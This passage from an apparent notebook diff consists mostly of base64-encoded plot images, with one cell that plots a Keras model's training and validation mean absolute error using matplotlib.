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ioqavd1wz5dXDkHWJal/fv3q6CgQIZhdNr71tfXq6ysTHv37lVhYWGnvS9OxrV2D9faXVxv93Ct3dNZ19q2bTU0NGjAgAEyzfZHhnSJyohpmho0aFDW3r+wsJA/2C7hWruHa+0urrd7uNbu6YxrfaqKSAIDWAEAgKcIIwAAwFPdOoyEQiF973vfUygU8rop5z2utXu41u7ieruHa+0et691lxjACgAAzl/dujICAAC8RxgBAACeIowAAABPEUYAAICnunUYefDBB3XBBRcoJydHV155pV577TWvm9TlVVRU6PLLL1dBQYH69eunWbNmaceOHWnHNDc3a/78+erdu7fy8/P1+c9/XgcOHPCoxeeH++67T4ZhaNGiRcl9XOfOtW/fPn35y19W7969lZubqzFjxmjz5s3J123b1ne/+131799fubm5mjp1qt577z0PW9w1xWIxfec739HQoUOVm5urCy+8UPfcc0/avU241h2zbt06XXfddRowYIAMw9CqVavSXj+T63rkyBHNmTNHhYWFKi4u1s0336zGxsazb5zdTa1cudIOBoP2o48+ar/55pv2rbfeahcXF9sHDhzwumld2rRp0+zHHnvM3r59u11VVWV/5jOfsQcPHmw3NjYmj7ntttvssrIye82aNfbmzZvtq666yp40aZKHre7aXnvtNfuCCy6wx44day9cuDC5n+vceY4cOWIPGTLEvvHGG+1XX33Vfv/99+0XX3zR3rlzZ/KY++67zy4qKrJXrVpl//Wvf7U/+9nP2kOHDrWPHz/uYcu7nnvvvdfu3bu3/dxzz9m7du2yn3rqKTs/P99eunRp8hiudcc8//zz9re+9S376aeftiXZzzzzTNrrZ3Jdp0+fbo8bN87euHGj/ec//9keNmyYfcMNN5x127ptGLniiivs+fPnJ3+OxWL2gAED7IqKCg9bdf45ePCgLcl+5ZVXbNu27draWjsQCNhPPfVU8pi3337blmRXVlZ61cwuq6GhwR4+fLi9evVqe/LkyckwwnXuXF//+tfta665pt3XLcuyS0tL7R/+8IfJfbW1tXYoFLKffPJJN5p43pg5c6b9z//8z2n7Pve5z9lz5syxbZtr3VlODCNncl3feustW5K9adOm5DF/+MMfbMMw7H379p1Ve7plN01LS4u2bNmiqVOnJveZpqmpU6eqsrLSw5adf+rq6iRJvXr1kiRt2bJFkUgk7dqPHDlSgwcP5tp3wPz58zVz5sy06ylxnTvb7373O1122WWaPXu2+vXrpwkTJuinP/1p8vVdu3appqYm7XoXFRXpyiuv5HpnaNKkSVqzZo3effddSdJf//pXrV+/XjNmzJDEtc6WM7mulZWVKi4u1mWXXZY8ZurUqTJNU6+++upZfX6XuFFeZzt8+LBisZhKSkrS9peUlOidd97xqFXnH8uytGjRIl199dUaPXq0JKmmpkbBYFDFxcVpx5aUlKimpsaDVnZdK1eu1Ouvv65Nmzad9BrXuXO9//77WrZsme68805985vf1KZNm3THHXcoGAxq3rx5yWva1n9TuN6Z+cY3vqH6+nqNHDlSPp9PsVhM9957r+bMmSNJXOssOZPrWlNTo379+qW97vf71atXr7O+9t0yjMAd8+fP1/bt27V+/Xqvm3Le2bt3rxYuXKjVq1crJyfH6+ac9yzL0mWXXab/+I//kCRNmDBB27dv10MPPaR58+Z53Lrzy69//Ws98cQTWrFihS655BJVVVVp0aJFGjBgANf6PNYtu2n69Okjn8930syCAwcOqLS01KNWnV8WLFig5557Tn/60580aNCg5P7S0lK1tLSotrY27XiufWa2bNmigwcP6tJLL5Xf75ff79crr7yi//7v/5bf71dJSQnXuRP1799fo0aNStt38cUXa8+ePZKUvKb8N+Xs3XXXXfrGN76hL33pSxozZoy+8pWv6Gtf+5oqKiokca2z5Uyua2lpqQ4ePJj2ejQa1ZEjR8762nfLMBIMBjVx4kStWbMmuc+yLK1Zs0bl5eUetqzrs21bCxYs0DPPPKOXX35ZQ4cOTXt94sSJCgQCadd+x44d2rNnD9c+A9dee622bdumqqqq5HbZZZdpzpw5yedc585z9dVXnzRF/d1339WQIUMkSUOHDlVpaWna9a6vr9err77K9c7QsWPHZJrp/zT5fD5ZliWJa50tZ3Jdy8vLVVtbqy1btiSPefnll2VZlq688sqza8BZDX/twlauXGmHQiF7+fLl9ltvvWV/9atftYuLi+2amhqvm9al3X777XZRUZG9du1au7q6OrkdO3Ysecxtt91mDx482H755ZftzZs32+Xl5XZ5ebmHrT4/pM6msW2uc2d67bXXbL/fb9977732e++9Zz/xxBN2Xl6e/fjjjyePue++++zi4mL72Weftd944w37+uuvZ7ppB8ybN88eOHBgcmrv008/bffp08e+++67k8dwrTumoaHB3rp1q71161Zbkv2jH/3I3rp1q717927bts/suk6fPt2eMGGC/eqrr9rr16+3hw8fztTes/XjH//YHjx4sB0MBu0rrrjC3rhxo9dN6vIktbk99thjyWOOHz9u/8u//Ivds2dPOy8vz/6Hf/gHu7q62rtGnydODCNc5871+9//3h49erQdCoXskSNH2o888kja65Zl2d/5znfskpISOxQK2ddee629Y8cOj1rbddXX19sLFy60Bw8ebOfk5Ngf+9jH7G9961t2OBxOHsO17pg//elPbf73ed68ebZtn9l1/eijj+wbbrjBzs/PtwsLC+2bbrrJbmhoOOu2GbadsqwdAACAy7rlmBEAAHDuIIwAAABPEUYAAICnCCMAAMBThBEAAOApwggAAPAUYQQAAHiKMAIAADxFGAEAAJ4ijAAAAE8RRgAAgKcIIwAAwFP/D0nU394la4kIAAAAAElFTkSuQmCC\n"
+          },
+          "metadata": {}
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "plt.plot(history.history['mean_absolute_error'])\n",
+        "plt.plot(history.history['val_mean_absolute_error'])"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 447
+        },
+        "id": "30eKdXVBdqJX",
+        "outputId": "800dd2f6-76f9-4371-94bf-9d7d0c7b0e5d"
+      },
+      "id": "30eKdXVBdqJX",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "[<matplotlib.lines.Line2D at 0x7bf324db0320>]"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 343
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 640x480 with 1 Axes>"
+            ],
+            "image/png": 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27tzZ61o+btmyZfrBD35wlJ++n3VbLB3wJjNpJM7UGAAA2dKnjtDevXt1880363e/+53y8vIGqibXLFmyRM3NzenX3r17B/YD7Y8WS3cFoSgdIQAAsqZPQai+vl6NjY2aPn26vF6vvF6vNm7cqJ/97Gfyer0qLy9XNBpVU1NTxvc1NDSooqJCklRRUfGJO7e6vj7WmGAwqPz8fA0bNkwej6fHMd3PcaxaPi4QCCgYDGa8BlTG1FhXR4ggBABAtvQpCF100UXavn27tm3bln7NnDlTV1xxRfrvPp9P69atS3/Prl27tGfPHlVVVUmSqqqqtH379oy7u9auXatgMKiJEyemx3Q/R9eYrnP4/X7NmDEjY4zjOFq3bl16zIwZM45Zi+sypsZYIwQAQLb1aY1QcXGxJk+enPFeYWGhhg4dmn7/mmuu0aJFizRkyBAFg0HddNNNqqqq0rnnnitJuvjiizVx4kRdeeWVuvvuuxUKhfT9739ftbW1CgQCkqTrr79e9913nxYvXqyrr75a69ev12OPPabVq1enP3fRokWaP3++Zs6cqVmzZumee+5RW1ubrrrqKklSSUnJMWtxXUYQsiSxRggAgGzq82LpY/npT38q27Y1d+5cRSIR1dTU6Be/+EX6uMfj0apVq3TDDTeoqqpKhYWFmj9/vu644470mHHjxmn16tVauHCh7r33Xo0cOVIPPvigampq0mPmzZunAwcO6Pbbb1coFNLZZ5+tNWvWZCygPlYtruuaGpNRnsdIYo0QAADZZBljjNtF5KpwOKySkhI1NzcPzHqhSKu07FRJ0ob/5xX9/W9f19SRJfrTjef3/2cBADBI9OX3N88ac1PX1JikPDvZCYrE6AgBAJAtBCE3pafGpDwr+aw11ggBAJA9BCE3WVZ6L6FAV0eINUIAAGQNQchtqemxPDvZEWKxNAAA2UMQcltqesyvrqkxghAAANlCEHJbqiPkt5Jrg1gjBABA9hCE3PaxIBRLGDkOOxoAAJANBCG3fWxqTJKiCabHAADIBoKQ21IdIV+3IMReQgAAZAdByG2pIOQxMdnJx42xTggAgCwhCLktNTVmJWI8gR4AgCwjCLmt+xPofcl/HAQhAACygyDktq7HbCSi8nu6ghBTYwAAZANByG3pjlCMjhAAAFlGEHJb96mxrjVC3DUGAEBWEITc1m1qLOBlagwAgGwiCLmt29SYPxWEePAqAADZQRByW8bUGGuEAADIJoKQ29JTY+wjBABAthGE3NZjR4g1QgAAZANByG0ZGyomO0KsEQIAIDsIQm7rNjX20YaKBCEAALKBIOS2nh6xwT5CAABkBUHIbawRAgDANQQht/Vw1xhrhAAAyA6CkNu6dYT87CMEAEBWEYTc1tURcmJMjQEAkGUEIbd1f/o8HSEAALKKIOQ29hECAMA1BCG3dX/6PPsIAQCQVQQht3WfGvOxRggAgGwiCLmtp32E2FARAICsIAi5rfvUGE+fBwAgqwhCbuvhrjEWSwMAkB0EIbf1uKEia4QAAMgGgpDbenjEBlNjAABkB0HIbT09fZ4gBABAVhCE3NbDXWOsEQIAIDsIQm7rNjXGGiEAALKLIOS2jI5Qco1QLGGUcIyLRQEAMDgQhNzWPQh5rPTbTI8BADDwCEJu65oakxSwPwo/BCEAAAYeQchtXR0hSV7FZaeaQqwTAgBg4BGE3NYtCPGYDQAAsosg5DbbIynVBuIJ9AAAZBVByG2W1eNeQp08gR4AgAFHEMoFPdxCH00QhAAAGGgEoVzQ06aKdIQAABhwBKFc0MPUGGuEAAAYeAShXNBjEKIjBADAQCMI5YJuU2PpNUIEIQAABhxBKBekg1C024NXCUIAAAw0glAu6BaEWCMEAED2EIRyQXqNUEwBX2pnae4aAwBgwBGEckEPi6XZRwgAgIFHEMoF7CMEAIArCEK5gH2EAABwBUEoF/TwiA3uGgMAYOARhHJBxj5CqTVCBCEAAAYcQSgXdO8I+ZgaAwAgWwhCuaBbEPJ72FARAIBsIQjlgu5TY+wjBABA1hCEcgF3jQEA4AqCUC5gQ0UAAFxBEMoFPdw1xtQYAAADjyCUC9hHCAAAVxCEcgFPnwcAwBV9CkLLly/X1KlTFQwGFQwGVVVVpaeffjp9vLOzU7W1tRo6dKiKioo0d+5cNTQ0ZJxjz549mjNnjgoKCjRixAjdeuutisfjGWM2bNig6dOnKxAIaPz48VqxYsUnarn//vs1duxY5eXlafbs2dq8eXPG8d7UkjMynj7PhooAAGRLn4LQyJEjdeedd6q+vl4vvfSSvvSlL+nrX/+6Xn/9dUnSwoUL9eSTT2rlypXauHGj9u3bp8suuyz9/YlEQnPmzFE0GtULL7yghx56SCtWrNDtt9+eHrN7927NmTNHF154obZt26YFCxbo2muv1TPPPJMe8+ijj2rRokVaunSptm7dqmnTpqmmpkaNjY3pMceqJadk7CPE1BgAAFljjlNZWZl58MEHTVNTk/H5fGblypXpYzt27DCSTF1dnTHGmKeeesrYtm1CoVB6zPLly00wGDSRSMQYY8zixYvNpEmTMj5j3rx5pqamJv31rFmzTG1tbfrrRCJhKisrzbJly4wxple19EZzc7ORZJqbm3v9PZ/J5l8bszRozCNXmF2hsBnznVXmnDv+PLCfCQDASaovv78/8xqhRCKhRx55RG1tbaqqqlJ9fb1isZiqq6vTYyZMmKDRo0errq5OklRXV6cpU6aovLw8PaampkbhcDjdVaqrq8s4R9eYrnNEo1HV19dnjLFtW9XV1ekxvamlJ5FIROFwOOOVFd2nxtJ3jbFGCACAgdbnILR9+3YVFRUpEAjo+uuv1+OPP66JEycqFArJ7/ertLQ0Y3x5eblCoZAkKRQKZYSgruNdx442JhwOq6OjQwcPHlQikehxTPdzHKuWnixbtkwlJSXp16hRo3p3UY5XD3eNsY8QAAADr89B6KyzztK2bdu0adMm3XDDDZo/f77eeOONgagt65YsWaLm5ub0a+/evdn54B72EYoljBKOyc7nAwAwSHn7+g1+v1/jx4+XJM2YMUNbtmzRvffeq3nz5ikajaqpqSmjE9PQ0KCKigpJUkVFxSfu7uq6k6v7mI/f3dXQ0KBgMKj8/Hx5PB55PJ4ex3Q/x7Fq6UkgEFAgEOjD1egn3RdLez/KptG4o3y/J/v1AAAwSBz3PkKO4ygSiWjGjBny+Xxat25d+tiuXbu0Z88eVVVVSZKqqqq0ffv2jLu71q5dq2AwqIkTJ6bHdD9H15iuc/j9fs2YMSNjjOM4WrduXXpMb2rJKT08YkNiLyEAAAZanzpCS5Ys0SWXXKLRo0erpaVFDz/8sDZs2KBnnnlGJSUluuaaa7Ro0SINGTJEwWBQN910k6qqqnTuuedKki6++GJNnDhRV155pe6++26FQiF9//vfV21tbboTc/311+u+++7T4sWLdfXVV2v9+vV67LHHtHr16nQdixYt0vz58zVz5kzNmjVL99xzj9ra2nTVVVdJUq9qySndpsa8Hlse21LCMdxCDwDAAOtTEGpsbNTf/d3faf/+/SopKdHUqVP1zDPP6Mtf/rIk6ac//als29bcuXMViURUU1OjX/ziF+nv93g8WrVqlW644QZVVVWpsLBQ8+fP1x133JEeM27cOK1evVoLFy7Uvffeq5EjR+rBBx9UTU1Nesy8efN04MAB3X777QqFQjr77LO1Zs2ajAXUx6olp3TrCElSwGurPZpgU0UAAAaYZYxhRe6nCIfDKikpUXNzs4LB4MB90N7N0r9/WSobK938is6+489qao/pvxZdoPEjigfucwEAOAn15fc3zxrLBd2mxiSl1wl18gR6AAAGFEEoF3xiaozHbAAAkA0EoVzQwxohiQevAgAw0AhCueBjU2Ndewlx+zwAAAOLIJQLPqUjxNQYAAADiyCUC7qCkBOXHIc1QgAAZAlBKBd0TY1JkhNTwMcaIQAAsoEglAu6OkJSxmM2WCMEAMDAIgjlgowgFJO/a2qMfYQAABhQBKFcYHskK/WPIqMjRBACAGAgEYRyRQ9PoGeNEAAAA4sglCvSQSjW7a4x1ggBADCQCEK5Ir2pYrTbhop0hAAAGEgEoVzRw9QYHSEAAAYWQShXpDtC8fQ+Qtw1BgDAwCII5YqMjlByjVA0QRACAGAgEYRyRbcglF4jREcIAIABRRDKFd2eQM8aIQAAsoMglCt6XCxNRwgAgIFEEMoVPa0RIggBADCgCEK5ovvUmI+OEAAA2UAQyhXdO0Ie1ggBAJANBKFc0T0I0RECACArCEK5IuOuMdYIAQCQDQShXMFdYwAAZB1BKFf09NDVGGuEAAAYSAShXOErSP4ZbU1PjdERAgBgYBGEckXhiOSfrQ3pqbG4Y5RwjItFAQBwciMI5Yri8uSfrY3pu8YkFkwDADCQCEK5oqgrCDXI7/noHwt7CQEAMHAIQrmiKDU11tIgr8eWx7YksU4IAICBRBDKFUUVyT/bDkhO4qNb6GMEIQAABgpBKFcUDpdkSSYhtR9KB6FogqkxAAAGCkEoV3i8UuGw5N9bG9K30HfSEQIAYMAQhHJJ14LploaPNlVkjRAAAAOGIJRLut059tFjNpgaAwBgoBCEckk6CIXSewmxjxAAAAOHIJRLum+qyGM2AAAYcAShXNLDpooEIQAABg5BKJd0WyzdNTXGE+gBABg4BKFc0sNi6WiCjhAAAAOFIJRLMoJQao0Q+wgBADBgCEK5pGuxdLRVRVanJNYIAQAwkAhCucRfJPkKJElD1SSJfYQAABhIBKFcYlnp6bEhpkkSHSEAAAYSQSjXpIJQmXNYEhsqAgAwkAhCuSa1TqgkngxCTI0BADBwCEK5JtURCiZSQYi7xgAAGDAEoVyTCkLFsUOSWCMEAMBAIgjlmlQQKkwFIdYIAQAwcAhCuaa4QpJUED0oiTVCAAAMJIJQrikaIUnKj3QFITpCAAAMFIJQrklNjQUih2XLIQgBADCACEK5pnC4ZNmy5GiowqwRAgBgABGEco3tkQqGSZJGWE2sEQIAYAARhHJRalPF4VYTU2MAAAwgglAuKuoWhNhQEQCAAUMQykVFyVvoh6tJ0QRBCACAgUIQykWpW+iHW82KxFgjBADAQCEI5aLUpoojrCOsEQIAYAARhHJRt45Q3DGKMz0GAMCAIAjlotRi6RFqkiQ1d8RcLAYAgJMXQSgXpYJQud0sSXp5T5OLxQAAcPIiCOWiVBDKV6cK1aEt7x92uSAAAE5OBKFcFCiS/EWSknsJvfTeEZcLAgDg5EQQylVdC6bVrFc/aFInt9EDANDvCEK5KrWp4viCVsUSRq9+0OxyQQAAnHz6FISWLVumz3/+8youLtaIESP0jW98Q7t27coY09nZqdraWg0dOlRFRUWaO3euGhoaMsbs2bNHc+bMUUFBgUaMGKFbb71V8Xg8Y8yGDRs0ffp0BQIBjR8/XitWrPhEPffff7/Gjh2rvLw8zZ49W5s3b+5zLTkr1RE6Z0hUkrTlPdYJAQDQ3/oUhDZu3Kja2lq9+O